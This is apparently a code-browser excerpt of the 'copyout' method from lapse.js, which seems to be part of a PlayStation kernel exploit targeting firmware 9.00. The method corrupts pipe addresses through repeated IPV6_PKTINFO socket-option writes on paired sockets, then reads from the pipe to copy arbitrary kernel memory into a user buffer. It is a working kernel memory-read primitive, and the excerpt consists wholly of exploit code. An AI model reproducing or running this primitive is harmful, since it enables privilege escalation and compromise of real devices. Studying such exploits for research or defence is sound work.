Method copyout

g2all/900/lapse.js:1418–1438

(src, dst, len)

        }

        copyout(src, dst, len) {
            this._verify_len(len);
            const main = this.main_sd;
            const worker = this.worker_sd;
            const addr_buf = this.addr_buf;
            const data_buf = this.data_buf;

            addr_buf.write64(0, this.pipe_addr);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            data_buf.write32(0, 0x40000000);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

            addr_buf.write64(0, this.pipe_addr2);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            addr_buf.write64(0, src);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            sysi('read', this.rpipe, dst, len);
        }

        _read(addr) {
            const buf = this.rw_buf;